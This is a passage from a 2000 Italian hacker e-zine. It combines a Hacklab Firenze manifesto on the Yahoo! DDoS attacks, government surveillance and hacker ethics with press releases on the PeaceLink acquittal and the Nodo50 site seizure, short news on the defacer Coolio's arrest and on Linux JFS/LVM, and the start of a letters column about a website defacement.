NIPC (National Infrastructure Protection Center, un organismo gestito da FBI ed altre agenzie per la sicurezza delle reti USA contro i reati informatici) se poi a queste strutture non vengono trasmesse le informazioni che erano a disposizione dei piu' sofisticati centri di sorveglianza USA. Una seconda realta' da prendere in considerazione e' questa: INTERNET, A DIFFERENZA DELLE RETI BLINDATE PER LA GESTIONE DELLE INFORMAZIONI STRATEGICHE DI NATURA ECONOMICA POLITICA E MILITARE, E' ALTAMENTE INSICURA, e gli alfieri della sicurezza in rete attraverso la repressione lo sanno benissimo, come sanno benissimo che le misure proposte non servono in realta' a modificare questa situazione. Secondo un rapporto FBI, nell'anno trascorso, il 62% (sissignori, il sessantadue per cento) delle societa' americane ha subito violazioni degli impianti informatici senza che nessuno gridasse alla minaccia epocale del terzo millennio. Del resto, i programmi usati per l'attacco ad Yahoo! e compagni si basano sugli stessi principi che milioni di ragazzini usano in tutto il mondo per fare ai loro coetanei il dispetto di mettergli KO la macchina quando litigano in Internet Relay Chat. L'esistenza di questa possibilita' di attacco e dei software utilizzati e' nota da anni agli esperti di sicurezza, e ponderose note tecniche su come prevenirle sono da anni disponibili su Internet. Quest'attacco ha quindi svelato a tutti che il re e' nudo, ma come nella favola tutti quanti in realta' lo sapevano benissimo da tempo. Allora, come mai questa fragilita'? La risposta e' semplice: in primo luogo perche' e' fisiologicamente impossibile garantire sicurezza totale a una rete globale di comunicazione aperta che -- sebbene tutt'altro che anarchica -- e' cresciuta in modo scarsamente pianificato e gerarchico, e che risente ancora dell'impostazione originaria di rete militare, che doveva continuare a funzionare anche se gran parte di essa fosse stata distrutta da un attacco nucleare. Ma anche e sopratutto per pure e semplici ragioni di profitto. Una cosa che gli isterici commentatori sugli attacchi si sono ben guardati dal far rilevare e' che, se i router (le macchine usate per far uscire le reti locali su Internet) fossero stati ben configurati secondo le norme di sicurezza, l'attacco sarebbe risultato inefficace. Ma una volta comprato un router e installato, le successive modifiche di configurazione devono essere fatte da un esperto. E chiamare un esperto esterno o far addestrare un dipendente costa troppo caro. Esistono poi in rete numerose macchine fisse che utilizzano tecnologie sofware come il Wingate (per sistemi Microsoft) che risultano penetrabili con estrema facilita' e da cui e' possibile far partire attacchi come quelli contro Yahoo! etc. senza lasciare alcuna traccia. Macchine da cui vengono pero' ricavati fior di profitti con il minimo di spesa. La logica del commercio elettronico e' una logica che taglia il piu' possibile sui costi fissi di macchine, spazi e personale per puntare tutto sul profitto da pubblicita' e sulla capitalizzazione finanziaria gonfiata. La "febbre dell'oro cibernetico", il miracolo della "nuova economia", mostrano gia' i primi buchi e sotto i lustrini spunta la faccia dell'economia basata sulla logica di sempre: profitto attraverso lo sfruttamento pesante del lavoro, e risparmio sulla sicurezza. Cosa succedera' quando il nuovo soggetto collettivo, i lavoratori dell'industria rete, scemati gli entusiasmi e l'infatuazione giovanile per il monitor -- intelligentemente sfruttati da chi incentiva i miti dei tredicenni divenuti mililiardari grazie a Internet e poi paga un tozzo di pane chi lavora per lui -- prenderanno coscienza di questa situazione e agiranno di conseguenza? Ma questo e' un altro discorso, per ora limitiamoci a registrare come anche da questo punto di vista la "sicurezza in rete" richiederebbe interventi ben diversi da quelli che Clinton e compagni si apprestano a farci trangugiare. L'inasprimento delle pene detentive contro i reati telematici (misura che tutti i governi stanno prendendo in esame, e che avra' per unico effetto concreto l'affibbiamento di qualche anno di galera in piu' a qualcuno abbastanza ingenuo da farsi pescare con le mani nel sacco e da diventare "monito per tutti") e l'investimento di milioni di dolari in centri di sorveglianza giganteschi quanto inutili, sono misure di PURA FACCIATA. Non servono a migliorare la sicurezza ma a mantenere la fiducia di massa nell'Internet "nuova frontiera del profitto", per assicurarsi che i giganteschi flussi finanziari messi in moto da decine di milioni di consumatori e di investitori scarsamente consapevoli di questa realta' non vengano meno. Terza realta': POCHI GIORNI PRIMA DEGLI ATTACCHI, E PRECISAMENTE IL 4 FEBBRAIO, L'IETF (Internet Engineering Task Force, l'organismo che lavora sugli standard e sui protocolli su cui si basa il funzionamento di Internet) AVEVA SECCAMENTE RIFIUTATO DI PRENDERE IN CONSIDERAZIONE LA PROPOSTA DELL'AMMINISTRAZIONE CLINTON DI APPORTARE MODIFICHE AI NUOVI PROTOCOLLI IP CHE FACILITASSERO IL LAVORO DI INTERCETTAZIONE DELLE AGENZIE DI SORVEGLIANZA. Sebbene tale rifiuto in realta' ostacoli in modo minimo dal punto di vista tecnico l'intercettazione, dal punto di vista politico ha costituito una secca sconfitta, che e' andata ad aggiungersi a quelle gia' collezionate dai governi su questo terreno, e che rimarca ancora una volta come il "popolo della rete" non abbia poi tanta fiducia nella paterna sorveglianza dello Stato. E' anche legittimo dedurre che evidentemente per il team IETF (e del resto anche per molte aziende) sorveglianza ed intercettazione non servono a garantire una briciola di sicurezza in piu' agli utenti Internet. Malgrado questo, nei giorni immediatamente successivi all'attacco, abbiamo sentito Clinton riproporre con forza un ennesimo robusto finanziamento delle agenzie di sorveglianza USA (da 15 a 240 milioni di dollari destinati ad FBI ed NSA, a seconda di quanti gliene lasceranno spendere i suoi avversari repubblicani) come illusoria panacea contro questi attacchi. Abbiamo sentito parlare di nuove futuristiche cyberpolizie, mentre sappiamo che quelle esistenti sono gia' state in grado di prevedere gli attacchi, e che solo per scelta politica ed economica questi allarmi non sono stati diffusi oltre il circuito bancario. Abbiamo visto l'FBI offrire agli ingenui un proprio software per difendersi dagli hacker (ma chi ci difendera' dall'FBI?). Abbiamo visto persino la CIA -- questo campione dell'insicurezza di massa e del terrorismo su scala internazionale -- ergersi a baluardo della sicurezza in rete. Intanto la Gran Bretagna (non a caso uno dei paesi beneficiari delle informazioni raccolte dal sistema d'ascolto clandestino Echelon) minaccia due anni di galera a chi si rifiutera' di rendere accessibili allo Stato le chiavi private del proprio sistema crittografico che impedisce a terzi indesiderati di leggere le proprie e-mail. In Cina gli utilizzatori di software di crittografia vengono schedati. In Russia sono in atto nuovi tentativi di monitorare e limitare gli accessi alla rete. In Germania abbiamo visto prima criminalizzare poi "collaborare con la polizia" (dizione ambigua che in questi casi puo' significare molte cose, da un'entusiastco sostegno al trovarsi in stato di semiarresto) l'autore di un software che consente di effettuare attacchi come quelli contro Yahoo! messo a punto per ragioni di analisi della sicurezza. Ancora una volta si cerca si sostenere il concetto pericolosissimo e nefasto della "security by obscurity", per cui chi svela al grande pubblico le debolezze di un sistema che si vorrebbero tenere nascoste dovrebbe essere considerato automaticamente responsabile degli attacchi portati contro questo sistema. Proprio in questi ultimi giorni, Eric Holder (sempre lui, il geniale viceministro americano) ha informato il Congresso USA che, come contromisura contro altri possibili attacchi di questo tipo, il governo sta apprestandosi ad inasprire ulteriormente le pene contro gli "hacker", a responsabilizzare penalmente i genitori contro le marachelle al PC commesse dai loro frugoletti, a instaurare misure di monitoraggio sugli accessi e i comportamenti su Internet, e dulcis in fundo, naturalmente, a criminalizzare gli anonymous remailer, quei servizi di anonimizzazione della posta elettronica che rappresentano l'unico modo a disposizione degli utenti con scarse conoscenze tecniche per garantirsi un anonimato reale su Internet e per non far rintracciare a chiunque sia intenzionato a farlo l'elenco dei propri corrispondenti. Questi servizi, normalmente e storicamente disponibili su Internet, dopo il fallimento dei tentattivi passati di additarli come un covo di pedofili e terroristi, vengono ora presentati come una minacciosa "risorsa degli hacker", come se chiunque fosse dotato di un po' di competenze tecniche non avesse in realta' a disposizione sistemi ben piu' efficaci per non farsi rintracciare, e come se non fosse assolutamente chiaro che con gli attacchi portati contro Yahoo! etc. non hanno nulla a che vedere. Infine, nel nostro paese, Rodota' in persona ha pensato bene di informarci su "Repubblica" che e' l'ora di finirla con la "CyberAnrchia", che rifiutare le regole e la paterna sorveglianza dello stato e' infantilismo, e che un atteggiamento del genere e' infantile, perche' non solo mette a rischio la liberta' di tutti ma finisce per dare spazio alla "deregulation" che favorisce i poteri forti economicamente. Del resto tutti sanno che la liberta'puo' esistere solo attraverso le regole, e che queste regole non possono essere liberamente autoscelte ma devono essere necessariamente imposte dallo stato per il bene di tutti. Particolarmente per il bene dei poveri e degli oppressi, per i quali lo stato rappresenta l'unica difesa contro i padroni e gli oppressori, particolarmente se lo stato in questione e' a guida PDS... A questo rispondiamo: NOSSIGNORI! DEVE ESSERE CHIARO A TUTTI: NON E' LA SICUREZZA, E TANTOMENO LA DIFESA DEGLI INTERESSI DEGLI UTENTI CONTRO I POTERI FORTI CHE SI VUOLE INSEGUIRE CON MISURE DEL GENERE. Qui si vuole sfruttare il panico per colpire quelle possibilita'di sfuggire all'occhio onnipresente del controllo statale, che Internet ha dato a milioni di persone che hanno preso in contropiede stati e governi. Si profila un nuovo minaccioso attacco agli spazi di liberta' individuale in rete attraverso misure che in realta' con la prevenzione di questi attacchi non hanno NULLA a che fare, e nuovamente siamo chiamati a rispondere. Ma va preso atto che rispetto a tutto questo, proprio la risposta della "comunita' hacker" storica, dei "cyberpunk", di tutto il variopinto insieme degli utilizzatori e dei navigatori "alternativi" di Internet e' stata sinora debole ed ambigua. La reazione piu' comune e'stata: "un attacco del genere e' roba da "lamer" (termine dispregiativo per indicare chi danneggia siti o pirateggia sofware avvalendosi di strumenti tecnici messi a disposizione da altri senza avere la comprensione di quello che sta facendo e la padronanza tecnica che caratterizzebero il "vero hacker") noi che c'entriamo?. Una rezione del genere -- considerando il fatto che in realta' non si sa tuttora NIENTE sugli autori e sui moventi di chi ha compiuto l'attacco, e che non e' certo l'uso di un software piuttosto che di un altro a poter dare qualche indicazione sull'effettivo livello di "lameraggine" degli autori -- ci sembra piu' che altro estremamente ipocrita ed intenzionata ad eludere i veri nodi del problema per tenere bassa la testa in un momento di crisi. Ancor piu' esplicite in questo senso ci sembrano le reazioni di chi sta tentando di convincere i media che l'hacker e' fondamentalmente un boy-scout che non danneggerebbe mai qualcosa, che si interessa solo di tecnica e che non domanda di meglio, una volta messa la testa a partito, che farsi assumere da qualche software house o da qualche agenzia di sorveglianza o polizia. Azzerando completamente il fatto che se davvero si intende agire in conformita' al principio base de "l'informazione vuole essere libera", allora spesso e volentieri ci si trova ad infrangere qualche legge dello stato (e di cio' ci sono numerosi esempi storici) e che lavorare per polizie, agenzie di sorveglianza eccetera e' in totale contraddizione con questo principio. In questo varco di confusione, di incertezza, e di equivoco spesso voluto, si sta inserendo l'avversario, che mentre criminalizza i comportamenti insubordinati cerca di enfatizzare a scopo di recupero politico ed economico (il talento dell'hacker e' una risorsa preziosa sotto entrambi gli aspetti) l'esistenza degli hacker "buoni". Buoni dal suo punto di vista, ovviamente quelli che combattono la pedofilia in rete (magari al servizio di parroci isterici ed ossessionati come Don Fortunato di Noto), quelli che sorvegliano i terroristi, quelli che danno assistenza alle agenzie di polizia e se hanno commesso qualche "crimine" lo hanno fatto solo per leggerezza giovanile. Cosi' assistiamo al fatto che Kevin Mitnick,"cult-hero" della cultura underground su Internet, pluriprocessato e nemico pubblico numero uno USA per tanti anni, si trasforma di colpo in una figura "buona" per i media quando si appresta a fornire collaborazione al governo USA per indagare su questi attacchi. Vediamo la CIA fare appello agli hacker perche' ha bisogno di nuovi talenti e vediamo decine di migliaia di giovani rispondere all'appello... Questo non deve stupire piu' di tanto. La cultura hacker e cyberpunk non e' sinora riuscita a sciogliere un nodo di fondo l'hacking e' puro possesso di capacita' tecniche o e' anche scelta e responsabilita' personale etica e politica? e quale scelta? Ma e' proprio su questo interrogativo che da oggi si gioca la partita. Sinora e' stato possibile alimentare l'illusione -- per chi voleva nascondere a se stesso e agli altri questo problema -- che la diffusione di Internet, della "cultura di rete" senza altre specificazioni, delle capacita' tecnologiche "neutre", significasse automaticamente diffondere una nuova forma di liberta'. Questa illusione -- come quella dell'"anarchia intrinseca" di Internet -- e' stata consentita dal convergere di due fattori il carattere di per se' scarsamente gerarchico e difficilmente controllabile della rete, che ha permesso l'insorgere in essa di comportamenti e spazi insubordinati, e l'interesse del capitale finanziario e commerciale a massificare Internet, liberalizzando gli accessi e minimizzando i controlli in nome dello sviluppo del commercio elettronico. Questa fase e' vicina a chiudersi. Ha permesso lo sviluppo di una contraddizione notevole, perche' Internet si e' trovata ad essere insieme "nuova frontiera" per la logica del profitto e mezzo di comunicazione di massa effettivamente "many to many", aperto a tutti e scarsamente governabile, dove individui e piccoli gruppi possono tuttora concorrere con successo sul piano comunicativo con governi e grandi gruppi di potere politico-economico in misura inimmaginabile per gli altri media, ma ora la situazione e' mutata. L'ulteriore espansione del commercio elettronico e dei profitti non dipendera' piu' dalla liberalizzazione degli accessi e dalla scarsa sorveglianza, ma dipendera' dal recupero della capacita' di GOVERNARE la rete, o quanto meno dell'illusione di essere in grado di farlo. Rispondere a questo necessita di una nuova maturita'. Non e' piu' possibile oggi fingere che il trastullarsi con i nuovi giocattoli tecnologici e cibernetici conduca da solo a risultati diversi dall'inserirsi in un trend commerciale. Non e' piu' possibile esorcizzare chi sottolinea quest'ambiguita' di fondo e la necessita' di rompere con la logica del profitto e del potere, con l'accusa sprezzante di essere un barbogio "veteroqualchecosista". Non e' piu' possibile illudersi ed illudere che lo sbarco in forze dell'industria culturale e dello spettacolo su Internet (o lo sbarco di essa in questa industria, ricordiamo che e' stata America On Line a comprare la Warner Bros e non viceversa, alla faccia di chi ci raccontava che la comunicazione su Internet era di per se' irriducibilmente antagonista agli altri media) rappresentino chissa' quale progresso ed elemento di innovazione se non di liberazione. E viceversa non e' nemmeno piu' possibile fingere che la smania di protagonismo e presenzialismo mediatico di tanti hacker, veri o presunti, alluda a qualcosa di sostanzialmente diverso dallo svendersi a questa industria e dall'accettare le regole che la macchina mediatica globale per la produzione del consenso al pensiero unico ti impone per darti visibilita' positiva. Soprattutto, non e' piu' possibile fingere che la passione e la capacita' tecnologica, da sole o accompagnate tutt'al piu' da qualche orpello di irriverenza, da qualche comportamento e linguaggio "strani" che fanno tendenza, ma destituite di ogni altro senso e movente, possano condurre alla fin fine a risultati diversi dal buon posticino alla software-house o all'arruolamento nella CIA. Per rispondere a questo scenario mutato occorre riflettere a fondo su cosa sia "hacking", senza eludere i problemi, senza accontentarsi di pararsi le chiappe da chi vorrebbe ridurlo a criminalita', senza preoccupazioni di notorieta' mediatica e di risultare graditi al giornalista o allo sbirro di turno. Occorre maturare e portare avanti un NOSTRO concetto di hacking, senza lasciare che siano altri ad imporcelo. Occorre anche chiarire -- e sino in fondo -- che chi fa danni immotivati, chi si diverte a danneggiare altri, chi impiega tempo risorse e saperi solo per cavarsi il gusto di rompere le palle a un pacifico user per affermare la propria presunta superiorita', o per danneggiare un sistema al solo sopo di esibirsi e godere di un'effimera notorieta', non per questo e' un hacker. Come non lo e' chi craccka e pirateggia solo per cavarci dei soldi. Ma non lo e' nemmeno chi supinamente accetta le leggi e le norme che vorrebbero imporci in rete governi e multinazionali, chi fa propria la logica del profitto innanzitutto, scegliendosi un lavoro legale invece del cracking, chi finisce per arruolarsi nella polizia o a fare il mercenario delle multinazionali. E non e' un caso che molti passino direttamente dal cieco vandalismo o all'esibizionismo alla richiesta di arruolamento nella CIA. Noi non crediamo di stare dicendo con questo nulla di diverso come hacklab di Firenze da quanto abbiamo detto sino dalla prima nostra uscita pubblica. Ne' nulla di diverso da quanto siamo andati dicendo a titolo personale o in altre situazioni ancora prima di dar vita all'hacklab. Perche' queste posizioni e questi ragionamenti non sono frutto unicamente delle nostre intelligenze personali, sono frutto dell'intelligenza collettiva di rete. E condividiamo quanto questa intelligenza collettiva ha proposto in merito, da anni e anni. Noi quindi riaffermiamo che 1) Intendiamo studiare e praticare il modo per garantirci in ogni caso la possibilita' di comunicare e soddisfare i nostri bisogni e desideri anche attraverso le nuove tecnologie. Rivendichiamo innanzitutto il diritto di diffondere e acquisire liberamente le informazioni. In modo UNILATERALE se necessario, indipendentemente da leggi e normative. Ci assumiamo questa responsabilita' perche' riconosciamo a noi stessi la capacita' di autogestire scelte comportamenti e responsabilita' etiche e politiche in modo autonomo da quanto vorrebbero imporci stati, governi e maggioranze. 2) Intendiamo combattere la battaglia per mantenere Internet LIBERA il piu' possibile, che per noi significa anche il meno possibile sottomessa alle esigenze di stati, governi, gruppi di potere economico ed agenzie di controllo e di spionaggio. Intendiamo combattere questa battaglia anche sul piano legislativo e normativo, con intelligenza politica e scioltezza tattica, senza rifiutare a priori l'apporto di forze istituzionali, ma consapevoli innanzitutto che cio' che governi e capitali chiamano "insicurezza" per noi e' innanzitutto "liberta'" e mettendo sempre al primo posto questo fatto. 3) Intendiamo studiare e praticare liberamente la possibilita' di nuove forme di uso della tecnologia che abbiano in prospettiva lo stesso senso di liberta' e orizzontalita' della comunicazione e del'informazione che ha avuto Internet nei sui anni eroici, e collaborare con chi a questo sta gia' lavorando, che a nostro giudizio merita l'appellativo di "hacker" nella pienezza del suo senso originario piu' di chiunque altro. Sulla base di quanto detto finora riteniamo infine importantissimo aprire una discussione il piu' possibile allargata in rete sugli aspetti e le responsabilita' etiche e politiche nell'hacking. Proponiamo quindi che su quest'argomento venga aperto anche uno spazio fisico di discussione continuativa, aperta, orizzontale e non formalizzata da comportamenti politichesi quali ordini del giorno, mozioni finali eccetera -- che non ci appartengono perche' oscurano la libera espressione e l'assunzione di responsabilita' personale. Proponiamo che questo spazio resti aperto per tutta la durata dell'hackmeeting 2000 e che i contributi di chiunque interverra' in esso siano ridiffusi in rete e che possano essere liberamente riprodotti e distribuiti senza scopo di lucro. Intendiamo naturalmente dare il necessario apporto, logistico e di dibattito, a tale spazio. Hacklab Firenze http://firenze.linux.it/~leandro/hacklab mailto:hacklab@firenze.linux.it --- snip --- -[ Comunicato stampa di Peacelink ]- --- snip --- COMUNICATO STAMPA ASSOLTO GIOVANNI PUGLIESE, FONDATORE DELL'ASSOCIAZIONE PEACELINK Taranto 21/1/2000: Accusato di pirateria informatica, un pioniere del volontariato in rete riesce dopo sei anni a dimostrare la sua innocenza. Con l'assoluzione di Giovanni Pugliese, segretario dell'associazione di volontariato dell'informazione "PeaceLink", si chiude una persecuzione iniziata nel 1994, una pagina oscura nella storia della liberta' di espressione in Italia. 11 maggio 1994: scatta una feroce ondata di repressione poliziesca all'interno delle reti di telematica sociale di base. Vengono sequestrate decine di computer che contengono programmi liberamente distribuibili e incriminati numerosi operatori di sistema (sysop) sulla base del semplice sospetto, ignorando completamente cosa avvenga in realta' sulle reti di telematica amatoriale. Gran parte del materiale sequestrato giace per lunghi anni nei magazzini della guardia di finanza senza mai essere esaminato. Da Pesaro partono 173 decreti di perquisizione, che riguardano altrettante banche dati gestite da volontari. Ben 63 reparti della Guardia di Finanza vengono impegnati nel sequestro di 111.041 floppy disk, 160 computer, 83 modem, 92 CD, 298 streamer e 198 cartridge. Vengono sequestrati anche documenti personali, riviste, appunti, prese elettriche, tappetini per il mouse, contenitori di plastica per dischetti, kit elettronici della scuola Radio Elettra scambiati per apparecchiature di spionaggio. Si arriva a sequestrare un'intera stanza del computer, che le forze dell'ordine provvedono a sigillare. Il 3 giugno 1994 la Guardia di Finanza di Taranto fa irruzione nella casa di Giovanni Pugliese, coordinatore e responsabile della rete telematica PeaceLink, sequestrando il computer centrale della rete, nata nel 1992 per costituire un "legame di pace" elettronico all'interno del mondo dell'associazionismo e del volontariato. La piu' grande banca dati elettronica del movimento pacifista viene imbavagliata e sigillata negli scantinati della Guardia di Finanza. La posta elettronica dei pacifisti viene oscurata e cancellata, assieme a tutti i bollettini antimafia, i dossier sul commercio delle armi e le informazioni scomode contenute nel computer di Giovanni Pugliese. Alla furia del sequestro fanno seguito vari anni di travaglio giudiziario, in cui l'accertamento della verita' in merito al sequestro PeaceLink sprofonda nelle sabbie mobili della burocrazia. La perizia effettuata sul computer di Pugliese rileva la presenza di un unico programma privo di licenza d'uso, il Word 6 della Microsoft, adibito ad uso personale per le attivita' interne dell'associazione. Cio' nonostante, il 26 febbraio 1996 la Pretura di Taranto emette un decreto penale di condanna a 3 mesi di reclusione nei confronti del segretario dell'Associazione PeaceLink "per avere a fini di lucro detenuto a scopo commerciale programmi per elaboratore abusivamente duplicati", una condanna convertita in una multa da dieci milioni. Giovanni Pugliese e' l'unica vittima dell'ondata di sequestri del 1994 a non scegliere la strada del patteggiamento, profondamente convinto della propria innocenza e della necessita' di affermare con la forza del diritto che la copia ad uso personale di un programma destinato alle attivita' di un'associazione e' qualcosa di ben diverso da un commercio illecito a scopo di lucro. Dopo aver impugnato il decreto di condanna, finalmente il 21 gennaio 2000 l'Associazione PeaceLink e tutta la telematica pacifista italiana possono celebrare l'assoluzione di Giovanni Pugliese con formula piena, attesa per sei lunghi anni. Una vittoria morale e una grande affermazione di dignita' che tuttavia non cancellano l'ingiusto peso delle spese processuali, che rimangono a carico di PeaceLink. Per questo motivo l'Associazione PeaceLink ha lanciato una campagna di sottoscrizioni. E' possibile contribuire alla copertura delle spese processuali relative al sequestro del 1994 effettuando un versamento sul ccp n. 13403746 intestato a Associazione Peacelink, via Galuppi 15, 74010 Statte (TA), specificando nella causale del versamento "Processo Pugliese". Con questa richiesta di sottoscrizioni ci rivolgiamo in particolare a tutte le associazioni e i movimenti per la pace che in questi anni hanno avuto modo di apprezzare il nostro lavoro e di utilizzare i servizi messi a disposizione gratuitamente dall'associazione. Tutta la vicenda di Giovanni Pugliese e la cronaca dei sequestri del 1994 e' documentata nel libro di Carlo Gubitosa "Italian Crackdown" (Ed. Apogeo), un libro disponibile anche in rete in versione integrale all'indirizzo http://www.olografix.org/gubi/estate Carlo Gubitosa - Associazione PeaceLink c.gubitosa@peacelink.it http://www.peacelink.it Peacelink e' una associazione di volontariato dell' informazione che dal 1992 offre una alternativa ai messaggi proposti dai grandi gruppi editoriali e televisivi. PeaceLink collabora con associazioni di volontariato, insegnanti, educatori ed operatori sociali che si occupano di Pace, nonviolenza, diritti umani, liberazione dei popoli oppressi, rispetto dell'ambiente e liberta' di espressione. Tutti i volontari di PeaceLink svolgono il loro lavoro a titolo puramente gratuito, per dare voce a chi non ha voce. Il sito web di PeaceLink ospita gratuitamente le pagine internet di numerose associazioni, tra cui Beati i Costruttori di Pace, GAVCI, Lega Obiettori di Coscienza, Pax Christi Italia, Progetto Continenti. --- snip --- -[ Sequestrato sito web dell'Associazione Contro la Tortura ]- Comunicato Urgente di Nodo50 http://www.nodo50.org (Spagna) sul sequestro della directory web dell'Associazione Contro la Tortura. Traduzione a cura di Isole Nella Rete (http://www.ecn.org) --- snip --- Vi scriviamo quest'"Avviso ai Naviganti" urgente per informarvi su una questione accaduta oggi e che consideriamo molto grave. Verso le 14.00 si e' presentata nei nostri locali una coppia di ispettori dell'Agenzia di Protezione dei Dati intenzionata a sequestrare i contenuti della directory web dell'Associazione Contro la Tortura ( http://www.nodo50.org/actortura ). Senza ordine del magistrato e con una carta in cui affermavano di averne il diritto ci hanno intimato di consegnargli il contenuto di questa directory web sotto minaccia di vederci accusati di incorrere in un'infrazione di carattere grave prevista nell'articolo 44.3.j della Legge Organica 15/1999 del 13 Dicembre. le persone che al momento stavano facendo amministrazione dei server di Nodo50 hanno ovviamente rifiutato di consegnare qualunque documentazione o informazione che fosse in relazione all'ACT o a qualsiasi altra organizzazione presente su Nodo50. In seguito a cio' gli Ispettori dell'Agenzia per la Protezione dei Dati si sono messi in contatto telefonico con ACT che ha acconsentito, per scritto, che i responsabili di Nodo50 consegnassero a detti ispettori il contenuto della directory e il contratto firmatoda ACT e Sodepaz. L'ispezione sembra basarsi su una denuncia per il contenuto dei rapporti informativi che la ACR sta rendendo pubblici attraverso il suo web su poliziotti della polizia nazionale, municipale, guardie civili e funzionari di carceri processati o condannati per torture e maltrattamenti. Non sappiamo se questo e' il principio o la continuazione di un processo di criminalizzazione contro Nodo50 e le sue organizzazioni simile a quello subito dai compagni di ECN in Italia un paio di anni fa, nel quale venne sequestrata la loro macchina per ordine della magistratura. Succeda quello che succeda, continueremo a informarvi e vi incoraggiamo a diffondere questa informazione attraverso tutti i canali che riterrete opportuni. Nuovamente chiediamo il vostro appoggio contro questa nuova aggressione che sta subendo Nodo50. Nodo50 Altavoz. Per la Liberta' di Espressione e Comunicazione --- snip --- -[ Coolio Updates ]- I recenti fatti di febbraio, hanno scatenato una vera e propria caccia agli hackers e a farne le spese sono stati individui che erroneamente si vantavano di aver portato a termine gli attakki a portali quali Yahoo etc. Uno tra questi Coolio, autore di mirate intrusioni nella RSA Security e per ben due volte il server web della Drug Abuse Resistance Education http://www.dare.com. Coolio e' stato arrestato il 9 Marzo e scarcerato dopo il versamento di una cauzione di 5.000 dollari. Non ci sono prove certe che sia stato l'autore dei DDos, ma sicuramente sara' processato per i reati minori. Tutto questo non puo' che confermare come sia pericoloso lasciare le proprie firme sui server violati (anche solo con fini politici o per lo meno di 'sfida' all'admin). Links: W i r e d Coolio Goes to the Cooler (Politics 7:00 a.m. PST) http://www.wired.com/news/politics/0,1283,34864,00.html?tw=wn20000309 -[ Linux verso livelli high-end di affidabilita' ]- ZEUS News - http://www.zeusnews.com - 9 marzo 2000 --- snip --- IBM sta lavorando al porting su Linux della tecnologia JFS, attualmente implementata in AIX e OS/2 WarpServer. La data di rilascio non e' ancora nota, ma l'affermazione che questo vuole essere, sotto l'egida GPL, un contributo di IBM alla comunita' mondiale degli sviluppatori e utenti Linux e' sicuramente un buon punto di partenza ( http://oss.software.ibm.com/developerworks/opensource/features/jfs_feature . html) JFS e' una tecnologia di logging, derivata da quelle implementate nei database servers, che consente, in caso di crash, di riportare in pochi istanti i filesystems danneggiati ad una situazione di consistenza, aumentando in modo considerevole l'affidabilita' del sistema. Nel frattempo, Heinz Mauelshagen prosegue nello sviluppo, ormai in dirittura di arrivo con la release 0.8, della sua implementazione di LVM per Linux, ormai inclusa nelle ultime releases del kernel. LVM, da tempo parte integrante degli unix high-end come HP-UX e AIX, e' una tecnologia che consente al sistema operativo di interfacciarsi in modo dinamico con i dischi: esso rende possibile, ad esempio, installare nuovi dischi ed avere immediatamente il nuovo spazio fisico a disposizone per crearvi nuovi filesystems o addirittura per espandervi quelli gia' esistenti, senza necessita' di fermare le applicazioni che vi si appoggiano ne', tantomeno, di effettuare il bootstrap del sistema. Inoltre, grazie all'isolamento logico di questo dalla struttura fisica dei dischi e'possibile gestire il mirroring (gestione parallela "trasparente" di piu' copie dei dati su molteplici dischi a scopo di sicurezza) e lo striping, cioe' la allocazione di porzioni di uno stesso filesystem su dischi fisici differenti e in determinate aree degli stessi, al fine di ottimizzarne le prestazioni. Linux LVM e' disponibile (insieme con una serie di utili informazioni tecniche) all'indirizzo http://linux.msede.com/lvm. L'insieme delle funzionalita' offerte dai due software portera' Linux a livelli di scalabilita' e affidabilita' caratteristici dei sistemi commerciali di fascia alta, rendendolo ancora piu' interessante anche per l'impiego in sistemi informativi complessi e di elevata criticita'. Stefano "Barninga Z!" Barni - mailto:barninga@altavista.net --- snip --- ============================================================================== ---------------------------------[ EOF 6/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-07100755 0 0 126444 7102660046 11000 0ustar rootroot============================================================================== -------------[ BFi numero 8, anno 3 - 30/04/2000 - file 7 di 28 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ MAiLB0X -----[ Cavallo Salve, sono Cavallo de Cavallis, forse vi ricorderete di me per la posta di BFi 3, 4, 5 e 7 o per svariati deliranti articoli sui numeri precedenti... scusate, Troy Mclure si era impossessato di me... :) BFi numero 8, questa volta il sottofondo x l'intro e' 'na cassettina spetta-culo che mi son fatto con un po' di song varie unplugged, vabbe' non gliene fotte un jesus a nessuno quindi vediamo un po' di dire due cose (Cavallo: un uomo, un editoralista mancato o forse solo un coglione? ^_^). Questo mese, siori e siore, abbiamo la risposta alla mail dei bukatori del sito michieli di cui abbiam parlato nel precedente numero. Inoltre ho istituito per mia proposta e scelta personale il premio "lamah of the issue" che secondo molti (non faccio nomi: FuSyS, Nello|Z, del0, smaster, etc =)) l'amico Joliet Jake Blues ha pienamente meritato con la sua mail =)) Caro amico, hai un posto di onore nei nostri cu...li, sii orgoglione di questo. -- [0] "BFi7 (www.michieli.it)" by tizio ziito Salve a tutti sono TiZiO membro della dArkircop, uno degli autori del vostro cosidetto "spiacevole episodio alla www.michieli.it" volevo solo far presente a smaster che non abbiamo mai detto che la vostra rivista ha ispirato il nostro gesto. [Dalla pagina hackata : "ThanX: Ale, Marty, Laura, all DARKiRC0P, sorbo, Seals, MaDeT, [eWeR] (mettiamo qualcosa di carino qua eh :),a bFI x l'ispirazione :), ai s0ftpj, agli Aer0smith, alla Blizzard, ai grin di sorbo, al sesso, e a tutte le nostre fans sparse in giro x il globo. :)" Nooooo non l'avete mai detto...] Nella page modificata noi ringraziavamo PigPen solo per l'impostazione della pagina stessa. (consumo, musica ascoltata, etc etc). Ci scusiamo con PigPen se non gradiva neanche questo tipo di pubblicit ma non volevamo certo offenderlo (anzi). Comunque la differenza mi sembra sostanziale e ci tenevo ad affermarla. [Tralasciando il testo della page modificata e dato che non conosco troppo il vs gruppo esprimo lo stesso cio' che penso basandomi su un po' di buon senso. Dato che BFi e' una delle riviste piu' "in vista" (diciamo cosi') del panorama italiano, tenuto conto che cio' e' un bene ma anche un male, ci pareva giusto segnalare : 1) che non eravamo collegati al fatto 2) che noi non vogliamo ispirare certe cose aggiungo io: 3) che non e' una grande idea bucare server italiani poi fate voi vs valutazione sull'utilita' di fare cio', la differenza potra' essere sostanziale ma sapete com'e', a volte *la* gente non sa fare molte distinzioni e fa di tutta l'erba un fascio (e poi se lo fuma vero Nello|Z ?? =))) Nella speranza di rimanere in buoni rapporti vi saluto e vi faccio i complimenti per la vostra rivista. [Grazie] p.s. gradirei che fossero ritirati giudizi quali "CRESCETE" visto che non avevamo intenzione di offendere la vostra rivista o un membro della vostra redazione e soprattutto perch non ci conoscete. :) [smaster dice: "Ascoltatemi: vi dimostrerete piu' capaci codando un buon tool che bucando un serverino mal protetto. CRESCETE!" A parte il crescete (che comunque e' 